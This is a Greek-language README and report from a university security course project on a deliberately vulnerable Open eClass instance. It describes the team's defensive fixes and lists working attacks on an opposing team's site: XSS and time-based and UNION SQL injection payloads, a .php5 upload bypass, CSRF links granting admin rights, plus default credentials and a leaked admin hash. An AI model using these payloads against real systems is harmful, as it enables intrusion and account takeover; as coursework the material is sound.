Το repository αυτό περιέχει μια παλιά και μη ασφαλή έκδοση του eclass. Προορίζεται για χρήση στα πλαίσια του μαθήματος Προστασία & Ασφάλεια Υπολογιστικών Συστημάτων (ΥΣ13), μην τη χρησιμοποιήσετε για κάνενα άλλο σκοπό.
# create and start (the first run takes time to build the image)
docker-compose up -d
# stop/restart
docker-compose stop
docker-compose start
# stop and remove
docker-compose down -v
To site είναι διαθέσιμο στο http://localhost:8001/. Την πρώτη φορά θα πρέπει να τρέξετε τον οδηγό εγκατάστασης.
Στο οδηγό εγκατάστασης του eclass, χρησιμοποιήστε οπωσδήποτε τις παρακάτω ρυθμίσεις:
- Ρυθμίσεις της MySQL
- Εξυπηρέτης Βάσης Δεδομένων:
db
- Όνομα Χρήστη για τη Βάση Δεδομένων:
root
- Συνθηματικό για τη Βάση Δεδομένων:
1234
- Εξυπηρέτης Βάσης Δεδομένων:
- Ρυθμίσεις συστήματος
- URL του Open eClass :
http://localhost:8001/
(προσοχή στο τελικό/
) - Όνομα Χρήστη του Διαχειριστή :
drunkadmin
- kodikos : 'DiUOA123@'
- Xristis 'grigoris' -kodikos '123456'
- URL του Open eClass :
Αν κάνετε κάποιο λάθος στις ρυθμίσεις, ή για οποιοδήποτε λόγο θέλετε να ρυθμίσετε
το openeclass από την αρχή, διαγράψτε το directory, openeclass/config
και ο
οδηγός εγκατάστασης θα τρέξει ξανά.
Εκφώνηση: https://ys13.chatzi.org/assets/projects/project1.pdf
- 1115201900173 Σκευοφύλακα Μαρία
- 1115201900117 Μουλκιώτης Γρηγόρης
Συμπληρώστε εδώ ένα report που
- Να εξηγεί τι είδους αλλαγές κάνατε στον κώδικα για να προστατέψετε το site σας (από την κάθε επίθεση).
- Να εξηγεί τι είδους επιθέσεις δοκιμάσατε στο αντίπαλο site και αν αυτές πέτυχαν.
Γενικά, στο site υπήρχαν XSS vulnerabilities σε σχεδόν όλα τα σημεία. Αυτό οφείλεται στο γεγονός ότι ο χρήστης μπορούσε να εκτελέσει κατευθείαν javascript κώδικά ενώ στις περισσότερες περιπτώσεις αυτός ο κώδικας έφτανε να αποθηκεύεται και πίσω στην βάση. Προκειμένου να αντιμετωπιστεί αυτό το πρόβλημα χρησιμοποιήθηκε η συνάρτηση htmlspecialchars προκειμένου να μην επιτρέπει javascript κώδικα να αποθηκεύεται ως έχειν.
Συγκεριμένα:
- Στην καρτέλα "Τηλεσυνεργασία" είναι δυνατόν να εκτελεστεί κώδικας javascript κάνοντας copy paste κάποιο payload.
POC: Κάνοντας copy-paste το <image/src/onerror=prompt(8)>
Το συγκεκριμένο script αναζητά μία εικόνα και αν δεν καταφερει να την εντοπίσει εμφανίζει ένα pop up.
Η συγκεκριμένη ευπάθεια αντιμετωπίστηκε.
- Στην καρτέλα "Περιοχές συζητήσεων" βρέθηκαν οι εξής ευπάθειες:
α. Στο πεδίο "απάντηση" αν θέσουμε στην φόρμα κώδικα HTML και κάνουμε paste κάποιο οποιοδήποτε payload μπορούμε να εκτελέσουμε κώδικα Javascript αντίστοιχα με προηγουμένως.
POC: Χρησιμοποιώντας το εξής payload:
β. Αντίστοιχα αν ανοίξουμε ένα νέο θέμα και χρησιμοποιήσουμε ως τίτλο ένα javascript script αντίστοιχα με προηγουμένως δημιουργείται ένα stored XSS.
Οι συγκεκριμένες ευπάθειες επίσης αντιμετωπίστηκαν.
- Στην καρτέλα "Ανταλλαγή Αρχείων" μπορούσε να γίνει κάποιο XSS attack στα εξής πεδία:
α. Ανέβασμα αρχείου: ι. Αποστολέας ιι. Περιγραφή αρχείου ιιι. Όνομα αρχείου
POC: Σε οποιοδήποτε από τα παραπάνω πεδία κάνοντας paste κάποιο payload όπως πχ. το δημιουργείται ένα stored XSS. Μοναδική εξαίρεση αποτελεί το Όνομα Αρχείου.
Οι συγκεκριμένες ευπάθειες επίσης αντιμετωπίστηκαν.
- Τέλος στην καρτέλα "Εργασίες" ήταν δυνατόν να δημιουργηθεί κάποιο XSS attack στα εξής πεδία:
α. Στα σχόλια β.Στο όνομα του αρχείου
POC: Σε οποιοδήποτε από τα παραπάνω πεδία κάνοντας paste κάποιο payload όπως πχ. το δημιουργείται ένα stored XSS. Μοναδική εξαίρεση αποτελεί το Όνομα Αρχείου.
Οι συγκεκριμένες ευπάθειες επίσης αντιμετωπίστηκαν.
- Στην δημιουργία χρήστη πολλαπλά πεδία μπορούν να χρησιμοποιηθούν για stored xss attack: Αντιμετωπίστηκε με την χρήση του htmlspecialchars.
Από την μεριά του διαχειριστή:
- Στις ανακοινώσεις του διαχειριστή ήταν δυνατόν να γίνει κάποιο XSS attack σε όλα τα πεδία με τρόπους αντίστοιχους με αυτούς που περιγράφηκαν παραπάνω
Οι συγκεκριμένες ευπάθειες επίσης αντιμετωπίστηκαν.
Στο συγκεκριμένο site σε κανένα σημείο δεν υπάρχει CSRF token με αποτέλεσμα οποιοσδήποτε καταφέρει να αποκτήσει πρόσβαση να μπορεί να εκτελέσει POST requests απευθείας στην βάση. Σε ορισμένα μάλιστα όπως πχ στην καρτέλα "Τηλεσυνεργασία" μπορούν να γίνουν μέχρι και GET requests.
Προκειμένου να αντιμετωπιστεί αυτή η ευπάθεια δημιουργήθηκαν συναρτήσεις που παράγουν και κάνουν validate CSRF tokens και τις προσθέσαμε σε όποιο σημείο γίνεται κάποιο POST request(μπορούν να γίνουν αντιληπτές στο CSRFCounter.php).Επιπλέον προσθέτουμε τα κατάληλα labels στα forms με τα token που κάνουμε generate ή στα headers των requests των GET Requests.Όταν κάνουμε τέλος την επεξεργασία του Request καλούμε την συνάρτηση validate ανάλογα με την περίπτωση του request.
Συγκεκριμένα στα: reply.php,profile.php,courses.php,work.php,dropbox,edituser.php,password.php,newuseradmin.php,mailtoprof.php,unreguser.php,infocours.php,statuscours.php,quototacours.php,adminannouncements.php,cleanup.php,auth.php,auth_process.php,listcours.php,monthlyReport.php,password.php,work.php,conference,messageList.php,coursetoools.php,courseinfo.php,refresh_course.php,forum_admin.php,editpost.php,viewtopic.php.
Συνεπώς και αυτό το πρόβλημα αντιμετωπίστηκε
Όσον αφορά τα RFI το site δίνει την δυνατότητα να γίνουν upload αρχεία τόσο στην περιοχή "Ανταλαγή Αρχείων" όσο και στο "Ανέβασμα Εργασιών" χωρίς να γίνεται κανένας έλεγχος για τους τύπους των αρχείων που ανεβαίνουν. Αυτό συνεπάγεται ότι μπορούν να ανέβουν αρχεία οποιουδήποτε τύπου ακόμα και μία ολόκληρη ιστοσελίδα ή εκτελέσιμος κώδικας. Ακόμη, μπορεί κανείς να περιηγηθεί στους φακέλους και να δει τα αρχεία όλων των χρηστών.
Κατά συνέπεια προκειμένου να αντιμετωπιστεί αυτή η ευπάθεια προστέθηκε το αρχείο .htaccess και μέσα σε αυτό η εντολή Options-Indexes. Προκειμένου αυτό να ενεργοποιηθεί προσθέσαμε στο αρχείο 000-deafult.conf την αντίστοιχη εντολή.Μην επιτρέποντας έτσι την πρόσβαση στους φακέλους του μαθήματος.Επιπλέον δοκιμάσαμε να προσθέσουμε το php_flag engine off αλλά δεν δούλεψε λόγω παλαιότερης έκδοσης της php.Επιπροσθετα μπορει καποιος να αλλακει το id της εργασιας για παραδοση στο http://localhost:8001/modules/work/work.php?id= με αποτέλεσμα εκεί να μπορεί κάποιος να ανεβάσει έγγραφα εργασίας και να δημιουργηθεί φάκελος με όνομα το id οπου μπορούμε να τον περιηγηθούμε το αντιμετωπίσαμε καθιστόντας αδύνατο να ανεβάσει κάποιος αρχείο για εργασία που δεν υπάρχει.Τέλος στο ανταλλαγή αρχείων μπορούμε εαν έχουμε ανεβάσει ιστοσελλίδα μπορούμε να την περιηγηθούμε κάνοντας κλικ στο αρχείο που έχουμε ανεβάσει το αποτρέψαμε αυτό κάνοντας αυτα τα αρχεία να γίνονται λήψη.
Επομένως και τα RFI vulnerabilities αντιμετωπίστηκαν.
Καταφέραμε να εκμεταλευτούμε τα παρακάτω sql injections. 1)http://localhost:8001/modules/phpbb/viewtopic.php?topic=%27%20union%20(select%20*%20from%20(select(sleep(10)))a)--%20&forum=1%27)--%20 2)http://localhost:8001/modules/phpbb/newtopic.php?forum=%27)%20or%20SLEEP(10)%20--%20 Εν συνεχεία διαπιστώσαμε ότι ολα τα queries της sql μπορούν λάβουν οποιαδήποτε τιμή στα ορίσματα και δεν γίνεται κανάνα escape. Οι παραπάνω ευπάθειες αντιπετωπίστηκαν κάνοντας cast σε int κάθε ακέραιο και χρησιμοποιώντας την συνάρτηση mysql_escape_string προκειμένου να κάνουμε escape τυχόν ειδικούς χαρακτήρες στα strings.Το παραπανω πραγματοποιήθηκε σε όλα τα querries της sql.
- Στην περιοχή των "Συζητήσεων" τόσο στο περιεχόμενο του θέματος όσο και στις απαντήσεις κάτω από το θέμα είναι δυνατόν να εκτελεστεί JavaScript κώδικας κάνοντας copy-paste κάποιο payload.
- Το αντίστοιχο συμβαίνει και αν επιλέξει κανείς "Ξέχασα τον κωδικό μου". Σε αυτό το σημείο υπάρχει μία φόρμα στην οποία αν στο username μπει κάποιο payload και στο email οποιοδήποτε valid email, o JavaScript κώδικας εκτελείται κανονικά.
- Στις ανακοινώσεις του διαχειρηστή επιπλέον μπορεί να εκτελεστεί κώδικας javascript και να γινουν redirects σε άλλα site.
- Στην περιγραφή του μαθηματος δεν γινεται κανενα sanetize του imput οποτε και εκει μπορει να εκτελεστει κωδικας javascript.
- Προσπαθήσαμε να ανεβάσουμε αρχεία php, html, js τόσο στη περιοχή "Εργασίες" όσο και στην περιοχή "Ανταλλαγή Αρχείων". Ωστόσο κανένα από αυτά τα αρχεία δεν εκτελούνταν στον browser και εμφανίζονταν ως text. Αντιθέτως, όταν ανεβάσαμε τα αντίστοιχα αρχεία με εκτελέσιμο κώδικα ΧΩΡΙΣ κατάληξη στο όνομα του αρχείου εκτελούνταν κανονικά στον browser.Επιπρόσθετα παρόλο που τα αρχεία με κατάληξη .php άλλαζαν την κατάληξη τους δεν συνέβαινε το ίδιο και για τα αρχεία με .php5 οπότε καταφέραμε να ανεβάσουμε αρχείο οπου κάναμε λήψη το config.php.
- Επίσης, όταν ανεβάζαμε αρχείο σε εργασία που δεν ήταν ανοιχτή (αλλάζοντας το id = στο url) εμφανιζόνταν ακριβώς το path που αποθηκεύεται το αρχείο και από εκεί είχαμε πρόσβαση στο αρχείο και κατά συνέπεια μπορούσαμε να εκτελούμε κώδικα.Εκτελέσαμε την ιδια διαδικασία οπως παραπάνω και ειχαμε τα ίδια αποτελέσματα.
Δοκιμασαμε τις επιθεσεις:
- http://mpananesmepitzames.csec.chatzi.org/modules/phpbb/viewtopic.php?topic=%27%20union%20(select%20*%20from%20(select(sleep(10)))a)--%20&forum=1%27)--%20
- http://mpananesmepitzames.csec.chatzi.org/modules/phpbb/newtopic.php?forum=%27)%20or%20SLEEP(10)%20--%20
- http://mpananesmepitzames.csec.chatzi.org/modules/unreguser/unregcours.php?cid=%27%20or%20sleep(10)
- dummy' union select 'dummy' as user_id ,password as nom,'dummy' as prenom,'dummy' as username,'dummy' as email,'dummy' as statut from eclass.user where username='drunkadmin'-- στο search user(το πρώτο πεδίο) το μοναδικό sqli που καταφέραμε να τρέξουμε και λάβαμε το hash του admin b12378696eb0c1128c9b18e06fa81b3b.
- Τροποποιήσαμε το puppies/index.html ως εξής:
Προσθέσαμε αυτό τον σύνδεσμο τον οποίο μόλις πάτησε ο διαχειριστής της πλατφόρμας έδωσε δικαιώματα διαχειριστή σε έναν δικό μας εντελώς unauthorized χρήστη
<a href="http://mpananesmepitzames.csec.chatzi.org/modules/user/user.php?giveAdmin=3">Click here for more details about kitties</a>
- Το αντίστοιχο μπορεί να λειτουργήσει και με τις εξής τροποποιήσεις:
α. <a href="http://mpananesmepitzames.csec.chatzi.org/modules/user/user.php?giveTutor=2"></a>
β. <a href="http://mpananesmepitzames.csec.chatzi.org/modules/user/user.php?removeTutor=1"></a>
γ. <a href="http://mpananesmepitzames.csec.chatzi.org/modules/unreguser/unregcours.php?u=3&cid=TMA100&doit=yes"></a>
δ. <a href="http://mpananesmepitzames.csec.chatzi.org/modules/phpbb/index.php?forumnotify=&forum_id=1"></a>
ε. <a href="http://mpananesmepitzames.csec.chatzi.org/modules/admin/unreguser.php?u=3&c=&doit=yes"></a>
ζ. <a href="http://mpananesmepitzames.csec.chatzi.org/modules/user/user.php?unregister=1"></a>
η. <a href="http://mpananesmepitzames.csec.chatzi.org/modules/admin/delcours.php?c=TMA100"></a>
Όλα τα παραπάνω θα οδηγήσουν τον admin να πραγματοποιήσει ενέργειες για λογαριασμό του επιτιθέμενου και να πραγματοποιήσει αλλαγές ή να δώσει δικαιώματα σε μη πιστοποιημένους χρήστες. Γενικά όλα τα get requests στην Χρησιμοποιώντας αυτό το attack καταφέραμε να πάρουμε admin rights εδώ: http://mpananesmepitzames.csec.chatzi.org/courses/TMA100/ και να πραγματοποιήσουμε διάφορες αλλαγές κατά βούληση.